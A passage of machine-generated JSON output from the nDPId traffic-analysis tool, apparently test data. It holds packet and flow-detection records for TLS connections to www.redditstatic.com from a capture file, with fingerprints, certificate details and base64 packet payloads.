+01160{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":508,"source":"reddit.pcap","alias":"nDPId-test","flow_id":9,"flow_packet_id":10,"flow_first_seen":1605291686035,"flow_last_seen":1605291686128,"flow_tot_l4_data_len":3985,"flow_min_l4_data_len":20,"flow_max_l4_data_len":1080,"flow_avg_l4_data_len":398,"midstream":0,"l3_proto":"ip6","src_ip":"2a01:cb01:2049:8b07:991d:ec85:28df:f629","dst_ip":"64:ff9b::9765:798c","src_port":56570,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.Reddit","breed":"Fun","category":"SocialNetwork"},"tls": {"version":"TLSv1.2","client_requested_server_name":"www.redditstatic.com","server_names":"www.redditstatic.com","ja3":"b32309a26951912be7dba376398abc3b","ja3s":"16c0b3e6a7b8173c16d944cfeaeee9cf","unsafe_cipher":0,"cipher":"TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256","issuerDN":"C=US, O=DigiCert Inc, CN=DigiCert SHA2 Secure Server CA","issuerDN":"C=US, ST=California, L=San Francisco, O=Reddit Inc., CN=www.redditstatic.com","alpn":"h2,http\/1.1","tls_supported_versions":"GREASE,TLSv1.3,TLSv1.2,TLSv1.1,TLSv1","fingerprint":"24:BA:A2:05:04:98:6C:4E:72:57:0C:2C:45:25:9D:1F:8E:C3:CC:A8"}} +01156{"flow_id":9,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":509,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291686,"pkt_ts_usec":128567,"pkt_caplen":606,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":606,"pkt_l4_len":552,"pkt":"5EKm5WPyqtsDr8lkht1gAAAAAigGPQBk\/5sAAAAAAAAAAJdleYwqAcsBIEmLB5kd7IUo3\/YpAbvc+p6YWL36uGUxgBgLMD7pAAABAQgKwtc42Kl05gs0oxSJU7Q1xjHlIjL9scjBhPuAEq0GCjMtFYiE7RJduMg4k0Ct9ZVwlb\/tOfyduWomz4zyeZVSJcuz082cUMYPrFas2XrpIIwdEdRaYS92wFLz1XeFYdwh7zq\/N7Upjur0hrtQfEue4+5ZqhbVR01oJNp4anHrUePIzlEnIT\/kcFsvAfnzhY8sCe6\/eHPlYmFh5NUqF382WuxmyYl4R2jC00MjKyceQCe+GA7mY6N19PTuAOUiLxpJNmIq9pmPNVdOG9Iimp3HvGkitHGB3xYDAwEsDAABKAMAHSA8k8WTc7YZXI8b5Occ6kESfKYFCvA4RTdfbt5uMDMWVggEAQCJKnraANP7uCkCTKLdwMwlc25IQdeFOudTHTu8jbEZiEhku9ugfVPwIqqlcN9qEHG0wF2PTanmYAuHY2Zl+02erv9a7dl+eiSiz\/iE2b0oR4PkjFwvTHJvcYL4z9SpsFZfA1Ysh9F9vRgM0Wba9HYDlS8ek60t9uaLD7WBFnfVUQK4aLsS8cIjdfV9jya3CrsZnSxWylzIfjZjjTlu1HRqWdpTUlfr9iNaNFC9aLr8ylOGX2jxz\/oeBZ20EnNDYRFBo1Ju6C9sZqngwl6erVo9tIaAYYya+rfrEWNjQkcZDO0DOpPuL9QwY31h5pFVWjSSaYaEO23AkTGAiSWteIVaFgMDAAQOAAAA"} +01864{"flow_id":7,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":510,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291686,"pkt_ts_usec":128567,"pkt_caplen":1134,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":1134,"pkt_l4_len":1080,"pkt":"5EKm5WPyqtsDr8lkht1gAAAABDgGPQBk\/5sAAAAAAAAAAJdleYwqAcsBIEmLB5kd7IUo3\/YpAbvc9o6MJX\/sl7sQgBgLMHD3AAABAQgKwtc42Kl05gsWAwMAUgIAAE4DA38EDp\/K4XxG\/E1+f9jCsO+wjOQIeNaVpFlPMzkLjUm0AMAvAAAm\/wEAAQAAAAAAAAsABAMAAQIAIwAAAAUAAAAQAAUAAwJoMgAXAAAWAwMK1gsACtIACs8ABjEwggYtMIIFFaADAgECAhAKKFSCcBAsMFQOJUmxyqxYMA0GCSqGSIb3DQEBCwUAME0xCzAJBgNVBAYTAlVTMRUwEwYDVQQKEwxEaWdpQ2VydCBJbmMxJzAlBgNVBAMTHkRpZ2lDZXJ0IFNIQTIgU2VjdXJlIFNlcnZlciBDQTAeFw0yMDA4MjYwMDAwMDBaFw0yMTAyMjIxMjAwMDBaMG8xCzAJBgNVBAYTAlVTMRMwEQYDVQQIEwpDYWxpZm9ybmlhMRYwFAYDVQQHEw1TYW4gRnJhbmNpc2NvMRQwEgYDVQQKEwtSZWRkaXQgSW5jLjEdMBsGA1UEAxMUd3d3LnJlZGRpdHN0YXRpYy5jb20wggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQC6joCtz\/XpIsmJDC1IQp8NmK79cp42u8wGU1+lRLzNGCN3Oih+bKGJg97Ah7p9AbLaWK0tgyBtFZgkMmY7Jo\/G212kqsCOVM9Th2+rA37LRUL0hA1hYOr7ZloEcI3QHvDG3fMi0MJnQEJUwcYp0LD0lHN+nraQIuBRPUCvjIw59jCEP62Zn9JwJpJGvofXIIJTS1EowlPz0+3NaMoHDR7OifayHdEBn2Cno669wEo1cOfeSogRHUJJgRRUIZuKl4av4KEC0nBDWQlUz2ybLpzENnVqWwK1YiWNlZbF1dwm7oBP9Rvj5VUjzV4rIfFfREPsh+BA\/UlEB0RX0AUqnSkLAgMBAAGjggLlMIIC4TAfBgNVHSMEGDAWgBQPgGEcgjFh1S8o541GOLQs4cbZ4jAdBgNVHQ4EFgQUU1Nk92iGK6OQNjntaEa8GWH6n3IwHwYDVR0RBBgwFoIUd3d3LnJlZGRpdHN0YXRpYy5jb20wDgYDVR0PAQH\/BAQDAgWgMB0GA1UdJQQWMBQGCCsGAQUFBwMBBggrBgEFBQcDAjBrBgNVHR8EZDBiMC+gLaArhilodHRwOi8vY3JsMy5kaWdpY2VydC5jb20vc3NjYS1zaGEyLWc2LmNybDAvoC2gK4YpaHR0cDovL2NybDQuZGlnaWNlcnQuY29tL3NzY2Etc2hhMi1nNi5jcmwwTAYDVR0gBEUwQzA3BglghkgBhv1sAQEwKjAoBggrBgEFBQcCARYcaHR0cHM6Ly93d3cuZGlnaWNlcnQuY29tL0NQUzAIBgZngQwBAgIwfAYIKwYBBQUHAQEEcDBuMCQGCCsGAQUFBzABhhhodHRwOi8vb2NzcC5k"} +00886{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":510,"source":"reddit.pcap","alias":"nDPId-test","flow_id":7,"flow_packet_id":7,"flow_first_seen":1605291686035,"flow_last_seen":1605291686128,"flow_tot_l4_data_len":1805,"flow_min_l4_data_len":32,"flow_max_l4_data_len":1080,"flow_avg_l4_data_len":257,"midstream":0,"l3_proto":"ip6","src_ip":"2a01:cb01:2049:8b07:991d:ec85:28df:f629","dst_ip":"64:ff9b::9765:798c","src_port":56566,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.Reddit","breed":"Fun","category":"SocialNetwork"},"tls": {"version":"TLSv1.2","client_requested_server_name":"www.redditstatic.com","ja3":"b32309a26951912be7dba376398abc3b","ja3s":"16c0b3e6a7b8173c16d944cfeaeee9cf","unsafe_cipher":0,"cipher":"TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256","alpn":"h2,http\/1.1","tls_supported_versions":"GREASE,TLSv1.3,TLSv1.2,TLSv1.1,TLSv1"}} +01875{"flow_id":7,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":511,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291686,"pkt_ts_usec":128567,"pkt_caplen":1134,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":1134,"pkt_l4_len":1080,"pkt":"5EKm5WPyqtsDr8lkht1gAAAABDgGPQBk\/5sAAAAAAAAAAJdleYwqAcsBIEmLB5kd7IUo3\/YpAbvc9o6MKZfsl7sQgBgLMO3lAAABAQgKwtc42Kl05gtpZ2ljZXJ0LmNvbTBGBggrBgEFBQcwAoY6aHR0cDovL2NhY2VydHMuZGlnaWNlcnQuY29tL0RpZ2lDZXJ0U0hBMlNlY3VyZVNlcnZlckNBLmNydDAMBgNVHRMBAf8EAjAAMIIBBgYKKwYBBAHWeQIEAgSB9wSB9ADyAHcA9lyUL9F3MCIUVBgIMJRWjuNNExkzv98MLyALzE7xZOMAAAF0K20\/5wAABAMASDBGAiEAiy\/NpMsrxX4NPRiywukHBK6R\/pCgL3Vhc1up6+AidW0CIQDz9D8NezZsRrUc3wGg77Eyt8LmuPddkuJr1o+DsjsE6AB3AFzcQ5L+5qtFRLFemtRW5hA3+9X6R9yhc5SyXub2xw7KAAABdCttQAYAAAQDAEgwRgIhAItPzNRHIdXjIN4FIrjwKOH7FmgzXk547It0N2wg9K\/BAiEA4os1meO9nrLOvLsGmqrYNP\/KyTyMuVKX\/y7NtZPGke4wDQYJKoZIhvcNAQELBQADggEBAAQVtGBz45msis0C3DHIp\/65v0dS9461RynUNplCMH8lsyrZKai0Fiufg0G9GshjOnGAAqFD8DJ2bkxjCcUGPHtFDJqO6e9RuuvI9Y\/QSvEgcDwVd\/MABXS\/myghO9BBFgZTmewnqMRHxumedWBfgAR4YaiZWf96gntktsPZJ6sm7ROWW\/94KaJIoz43f+t8BjXPShOi6L1GQgluEnlDn8iUU1XI76oOQy4pAsBh1iaSynNG\/7oIzd+Ysvilt7Z82q3hn9bxs8ozplRROd6nxTuyqaf1UELV\/J87lhWruxIKut8v3FHagkNKhv79j\/yRjpPMUDvQfygUrVdU9k6zvewABJgwggSUMIIDfKADAgECAhAB\/aPrbsp1yIhDi3JLz7yRMA0GCSqGSIb3DQEBCwUAMGExCzAJBgNVBAYTAlVTMRUwEwYDVQQKEwxEaWdpQ2VydCBJbmMxGTAXBgNVBAsTEHd3dy5kaWdpY2VydC5jb20xIDAeBgNVBAMTF0RpZ2lDZXJ0IEdsb2JhbCBSb290IENBMB4XDTEzMDMwODEyMDAwMFoXDTIzMDMwODEyMDAwMFowTTELMAkGA1UEBhMCVVMxFTATBgNVBAoTDERpZ2lDZXJ0IEluYzEnMCUGA1UEAxMeRGlnaUNlcnQgU0hBMiBTZWN1cmUgU2VydmVyIENBMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA3K5YkE3BxDAVkDVbbjyCFfUsXL3j2\/9xQ\/pkJYDU7hiiTfBm0ApzbhGYNhdkrzed\/fpBhK\/Hr4z+GnNNzzOXkKKWh1ODK7mmdUgtHVY3e9oxMhrXrKsG9KpdS7dHRt0qk8OQLnmAgO8TBGoUO7Wbkr7CB2VO"} +00437{"flow_id":8,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":512,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291686,"pkt_ts_usec":128573,"pkt_caplen":74,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":74,"pkt_l4_len":20,"pkt":"qtsDr8lk5EKm5WPyht1gDDz0ABQGQCoBywEgSYsHmR3shSjf9ikAZP+bAAAAAAAAAACXZXmM3PgBu3BHT1EAAAAAUAQAALuiAAA="} +00438{"flow_id":9,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":513,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291686,"pkt_ts_usec":128577,"pkt_caplen":74,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":74,"pkt_l4_len":20,"pkt":"qtsDr8lk5EKm5WPyht1gCLKYABQGQCoBywEgSYsHmR3shSjf9ikAZP+bAAAAAAAAAACXZXmM3PoBu\/q4ZTEAAAAAUAQAABtPAAA="} +00438{"flow_id":9,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":514,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291686,"pkt_ts_usec":128580,"pkt_caplen":74,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":74,"pkt_l4_len":20,"pkt":"qtsDr8lk5EKm5WPyht1gCLKYABQGQCoBywEgSYsHmR3shSjf9ikAZP+bAAAAAAAAAACXZXmM3PoBu\/q4ZTEAAAAAUAQAABtPAAA="} +00436{"flow_id":7,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":515,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291686,"pkt_ts_usec":128585,"pkt_caplen":74,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":74,"pkt_l4_len":20,"pkt":"qtsDr8lk5EKm5WPyht1gBOdWABQGQCoBywEgSYsHmR3shSjf9ikAZP+bAAAAAAAAAACXZXmM3PYBu+yXuxAAAAAAUAQAANOUAAA="} +01867{"flow_id":7,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":516,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291686,"pkt_ts_usec":129580,"pkt_caplen":1134,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":1134,"pkt_l4_len":1080,"pkt":"5EKm5WPyqtsDr8lkht1gAAAABDgGPQBk\/5sAAAAAAAAAAJdleYwqAcsBIEmLB5kd7IUo3\/YpAbvc9o6MLa\/sl7sQgBgLMCcEAAABAQgKwtc42Kl05gv82vz\/eq7cXH5VMQzoOQek174v0wtq0rHfX\/5XdFM7NYDdro5EmLOfDtPa4Nf0aymrRKdLWIRtkkuBw9pzixKXSJAERXUa3Tcxl5LozVQNO+TBPzleLrjzXH4QjoZBAI1FZkewoWXOoKopCU7zl+voLqsPcqcwDvrH9P0Ud8OkWyhXwrP5gv23RVibAgMBAAGjggFaMIIBVjASBgNVHRMBAf8ECDAGAQH\/AgEAMA4GA1UdDwEB\/wQEAwIBhjA0BggrBgEFBQcBAQQoMCYwJAYIKwYBBQUHMAGGGGh0dHA6Ly9vY3NwLmRpZ2ljZXJ0LmNvbTB7BgNVHR8EdDByMDegNaAzhjFodHRwOi8vY3JsMy5kaWdpY2VydC5jb20vRGlnaUNlcnRHbG9iYWxSb290Q0EuY3JsMDegNaAzhjFodHRwOi8vY3JsNC5kaWdpY2VydC5jb20vRGlnaUNlcnRHbG9iYWxSb290Q0EuY3JsMD0GA1UdIAQ2MDQwMgYEVR0gADAqMCgGCCsGAQUFBwIBFhxodHRwczovL3d3dy5kaWdpY2VydC5jb20vQ1BTMB0GA1UdDgQWBBQPgGEcgjFh1S8o541GOLQs4cbZ4jAfBgNVHSMEGDAWgBQD3lA1VtFMu2bwo+IbG8OXsj3RVTANBgkqhkiG9w0BAQsFAAOCAQEAIz7fS9IxQqW2fkJcGkTMadFotF1L4AQhbEvibcyx4JePplMJzaoqZeU5Tx6DpW5cmKIkJub7oe2Txy4Cxk1Kv7BC33jas6j5bf8hhVM2YEx2zuw43NZRgPDF1uXUTSdkq5vHPnH7SJe4M23JEwfulqIbGBX2XExA7bPC7P9xweNH\/9S5ALQ3Qtogyepuiu4UBq59olmYiKgbby308skUXybPLI1+7TfAqdU5uYK\/GQzqNK8AIWj4rXPiyTLaOCULVdOaHfBohu0uQTTvfKVQHb86+dPBCAzm7R6KWCXkuHetLW71Ut20dI+rSS6dO5M0KB94zpTqx73TyW0c3lwy8xYDAwHfFgAB2wEAAdcwggHTCgEAoIIBzDCCAcgGCSsGAQUFBzABAQSCAbkwggG1MIGeohYEFA+AYRyCMWHVLyjnjUY4tCzhxtniGA8yMDIwMTExMjIxMjA1NFowczBxMEkwCQYFKw4DAhoFAAQUEF+meoAInbUnnzXOgwtDiJ6jxw0EFA+AYRyCMWHVLyjnjUY4tCzhxtniAhAKKFSCcBAsMFQOJUmxyqxYgAAYDzIwMjAxMTEyMjEyMDU0WqARGA8yMDIwMTExOTIwMzU1NFowDQYJKoZIhvcNAQELBQADggEBABeB6JqTyRqpznuNqjuGqK1A1QRem\/bt7r3xHqNn7pAlcMLfp0mKD4Z\/4wWMOz\/68m3Y"} +01160{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":516,"source":"reddit.pcap","alias":"nDPId-test","flow_id":7,"flow_packet_id":10,"flow_first_seen":1605291686035,"flow_last_seen":1605291686129,"flow_tot_l4_data_len":3985,"flow_min_l4_data_len":20,"flow_max_l4_data_len":1080,"flow_avg_l4_data_len":398,"midstream":0,"l3_proto":"ip6","src_ip":"2a01:cb01:2049:8b07:991d:ec85:28df:f629","dst_ip":"64:ff9b::9765:798c","src_port":56566,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.Reddit","breed":"Fun","category":"SocialNetwork"},"tls": {"version":"TLSv1.2","client_requested_server_name":"www.redditstatic.com","server_names":"www.redditstatic.com","ja3":"b32309a26951912be7dba376398abc3b","ja3s":"16c0b3e6a7b8173c16d944cfeaeee9cf","unsafe_cipher":0,"cipher":"TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256","issuerDN":"C=US, O=DigiCert Inc, CN=DigiCert SHA2 Secure Server CA","issuerDN":"C=US, ST=California, L=San Francisco, O=Reddit Inc., CN=www.redditstatic.com","alpn":"h2,http\/1.1","tls_supported_versions":"GREASE,TLSv1.3,TLSv1.2,TLSv1.1,TLSv1","fingerprint":"24:BA:A2:05:04:98:6C:4E:72:57:0C:2C:45:25:9D:1F:8E:C3:CC:A8"}} +01159{"flow_id":7,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":517,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291686,"pkt_ts_usec":129581,"pkt_caplen":606,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":606,"pkt_l4_len":552,"pkt":"5EKm5WPyqtsDr8lkht1gAAAAAigGPQBk\/5sAAAAAAAAAAJdleYwqAcsBIEmLB5kd7IUo3\/YpAbvc9o6MMcfsl7sQgBgLMIDoAAABAQgKwtc42Kl05gs0oxSJU7Q1xjHlIjL9scjBhPuAEq0GCjMtFYiE7RJduMg4k0Ct9ZVwlb\/tOfyduWomz4zyeZVSJcuz082cUMYPrFas2XrpIIwdEdRaYS92wFLz1XeFYdwh7zq\/N7Upjur0hrtQfEue4+5ZqhbVR01oJNp4anHrUePIzlEnIT\/kcFsvAfnzhY8sCe6\/eHPlYmFh5NUqF382WuxmyYl4R2jC00MjKyceQCe+GA7mY6N19PTuAOUiLxpJNmIq9pmPNVdOG9Iimp3HvGkitHGB3xYDAwEsDAABKAMAHSC2k7KwcAPsv4fSQ0bc08RiDffNZuoU8t2FrnZlHXVTfQgEAQBpiqGB2Hqu1po6M6HhvzqFp1RVncGzEUi7lwiYcHf8Bs+Gu6A3Wug\/vVauHE905tCWsK1Y7tBpZ118XLT04I0VFCmj38I8tthuxEFn2kJB6OiIqREluj9nhcn0JNaHlxKEA3ZxsJXLGfppgMULPox9OIspGBpeJKWR3CTRvXvvsdh\/xzUec1zSDwQjTEZ2uYUGS\/vpoVpNBm\/B5d1rVpx9WxPiISd8WyUvK1LihqzEj4wf9SPOc9cSFSOscMhkOBSBqoTYexP5KmXd5hciUa0RxJtE6TKMOC0hESh9weV+lFlg8XL8NJFxQVUbVRMHNrO\/NXnCEWW32P9OMkvF5CaCFgMDAAQOAAAA"} +00467{"flow_id":20,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":518,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291686,"pkt_ts_usec":129581,"pkt_caplen":94,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":94,"pkt_l4_len":40,"pkt":"5EKm5WPyqtsDr8lkht1gAAAAACgGPQBk\/5sAAAAAAAAAAJdleYwqAcsBIEmLB5kd7IUo3\/YpAbvdELkPzEPbiYGyoBJXgE4hAAACBAV4AQMDAwQCCArC1zjcqXTmGA=="} +00467{"flow_id":19,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":519,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291686,"pkt_ts_usec":129581,"pkt_caplen":94,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":94,"pkt_l4_len":40,"pkt":"5EKm5WPyqtsDr8lkht1gAAAAACgGPQBk\/5sAAAAAAAAAAJdleYwqAcsBIEmLB5kd7IUo3\/YpAbvdDvdaN0mUbYB0oBJXgO0tAAACBAV4AQMDAwQCCArC1zjbqXTmGA=="} +00457{"flow_id":10,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":520,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291686,"pkt_ts_usec":129581,"pkt_caplen":86,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":86,"pkt_l4_len":32,"pkt":"5EKm5WPyqtsDr8lkht1gAAAAACAGPQBk\/5sAAAAAAAAAAJdleYwqAcsBIEmLB5kd7IUo3\/YpAbvc\/KfiS\/PFklexgBALMJqUAAABAQgKwtc43Kl05gw="} +01866{"flow_id":10,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":521,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291686,"pkt_ts_usec":129581,"pkt_caplen":1134,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":1134,"pkt_l4_len":1080,"pkt":"5EKm5WPyqtsDr8lkht1gAAAABDgGPQBk\/5sAAAAAAAAAAJdleYwqAcsBIEmLB5kd7IUo3\/YpAbvc\/KfiS\/PFklexgBgLMARsAAABAQgKwtc43ql05gwWAwMAUgIAAE4DA\/AQIQbrU20HyJyN7PsW9O\/kvAJjS9MziTQJmepzrB6+AMAvAAAm\/wEAAQAAAAAAAAsABAMAAQIAIwAAAAUAAAAQAAUAAwJoMgAXAAAWAwMK1gsACtIACs8ABjEwggYtMIIFFaADAgECAhAKKFSCcBAsMFQOJUmxyqxYMA0GCSqGSIb3DQEBCwUAME0xCzAJBgNVBAYTAlVTMRUwEwYDVQQKEwxEaWdpQ2VydCBJbmMxJzAlBgNVBAMTHkRpZ2lDZXJ0IFNIQTIgU2VjdXJlIFNlcnZlciBDQTAeFw0yMDA4MjYwMDAwMDBaFw0yMTAyMjIxMjAwMDBaMG8xCzAJBgNVBAYTAlVTMRMwEQYDVQQIEwpDYWxpZm9ybmlhMRYwFAYDVQQHEw1TYW4gRnJhbmNpc2NvMRQwEgYDVQQKEwtSZWRkaXQgSW5jLjEdMBsGA1UEAxMUd3d3LnJlZGRpdHN0YXRpYy5jb20wggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQC6joCtz\/XpIsmJDC1IQp8NmK79cp42u8wGU1+lRLzNGCN3Oih+bKGJg97Ah7p9AbLaWK0tgyBtFZgkMmY7Jo\/G212kqsCOVM9Th2+rA37LRUL0hA1hYOr7ZloEcI3QHvDG3fMi0MJnQEJUwcYp0LD0lHN+nraQIuBRPUCvjIw59jCEP62Zn9JwJpJGvofXIIJTS1EowlPz0+3NaMoHDR7OifayHdEBn2Cno669wEo1cOfeSogRHUJJgRRUIZuKl4av4KEC0nBDWQlUz2ybLpzENnVqWwK1YiWNlZbF1dwm7oBP9Rvj5VUjzV4rIfFfREPsh+BA\/UlEB0RX0AUqnSkLAgMBAAGjggLlMIIC4TAfBgNVHSMEGDAWgBQPgGEcgjFh1S8o541GOLQs4cbZ4jAdBgNVHQ4EFgQUU1Nk92iGK6OQNjntaEa8GWH6n3IwHwYDVR0RBBgwFoIUd3d3LnJlZGRpdHN0YXRpYy5jb20wDgYDVR0PAQH\/BAQDAgWgMB0GA1UdJQQWMBQGCCsGAQUFBwMBBggrBgEFBQcDAjBrBgNVHR8EZDBiMC+gLaArhilodHRwOi8vY3JsMy5kaWdpY2VydC5jb20vc3NjYS1zaGEyLWc2LmNybDAvoC2gK4YpaHR0cDovL2NybDQuZGlnaWNlcnQuY29tL3NzY2Etc2hhMi1nNi5jcmwwTAYDVR0gBEUwQzA3BglghkgBhv1sAQEwKjAoBggrBgEFBQcCARYcaHR0cHM6Ly93d3cuZGlnaWNlcnQuY29tL0NQUzAIBgZngQwBAgIwfAYIKwYBBQUHAQEEcDBuMCQGCCsGAQUFBzABhhhodHRwOi8vb2NzcC5k"} +00887{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":521,"source":"reddit.pcap","alias":"nDPId-test","flow_id":10,"flow_packet_id":7,"flow_first_seen":1605291686035,"flow_last_seen":1605291686129,"flow_tot_l4_data_len":1805,"flow_min_l4_data_len":32,"flow_max_l4_data_len":1080,"flow_avg_l4_data_len":257,"midstream":0,"l3_proto":"ip6","src_ip":"2a01:cb01:2049:8b07:991d:ec85:28df:f629","dst_ip":"64:ff9b::9765:798c","src_port":56572,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.Reddit","breed":"Fun","category":"SocialNetwork"},"tls": {"version":"TLSv1.2","client_requested_server_name":"www.redditstatic.com","ja3":"b32309a26951912be7dba376398abc3b","ja3s":"16c0b3e6a7b8173c16d944cfeaeee9cf","unsafe_cipher":0,"cipher":"TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256","alpn":"h2,http\/1.1","tls_supported_versions":"GREASE,TLSv1.3,TLSv1.2,TLSv1.1,TLSv1"}} +00437{"flow_id":7,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":522,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291686,"pkt_ts_usec":129588,"pkt_caplen":74,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":74,"pkt_l4_len":20,"pkt":"qtsDr8lk5EKm5WPyht1gBOdWABQGQCoBywEgSYsHmR3shSjf9ikAZP+bAAAAAAAAAACXZXmM3PYBu+yXuxAAAAAAUAQAANOUAAA="} +00437{"flow_id":7,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":523,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291686,"pkt_ts_usec":129595,"pkt_caplen":74,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":74,"pkt_l4_len":20,"pkt":"qtsDr8lk5EKm5WPyht1gBOdWABQGQCoBywEgSYsHmR3shSjf9ikAZP+bAAAAAAAAAACXZXmM3PYBu+yXuxAAAAAAUAQAANOUAAA="} +00453{"flow_id":20,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":524,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291686,"pkt_ts_usec":129607,"pkt_caplen":86,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":86,"pkt_l4_len":32,"pkt":"qtsDr8lk5EKm5WPyht1gCcfOACAGQCoBywEgSYsHmR3shSjf9ikAZP+bAAAAAAAAAACXZXmM3RABu9uJgbK5D8xEgBAB+9IFAAABAQgKqXTmRcLXONw="} +00453{"flow_id":19,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":525,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291686,"pkt_ts_usec":129611,"pkt_caplen":86,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":86,"pkt_l4_len":32,"pkt":"qtsDr8lk5EKm5WPyht1gBTHMACAGQCoBywEgSYsHmR3shSjf9ikAZP+bAAAAAAAAAACXZXmM3Q4Bu5RtgHT3WjdKgBAB+3ESAAABAQgKqXTmRcLXONs="} +00437{"flow_id":10,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":526,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291686,"pkt_ts_usec":129618,"pkt_caplen":74,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":74,"pkt_l4_len":20,"pkt":"qtsDr8lk5EKm5WPyht1gDKneABQGQCoBywEgSYsHmR3shSjf9ikAZP+bAAAAAAAAAACXZXmM3PwBu8WSV7EAAAAAUAQAAF3zAAA="} 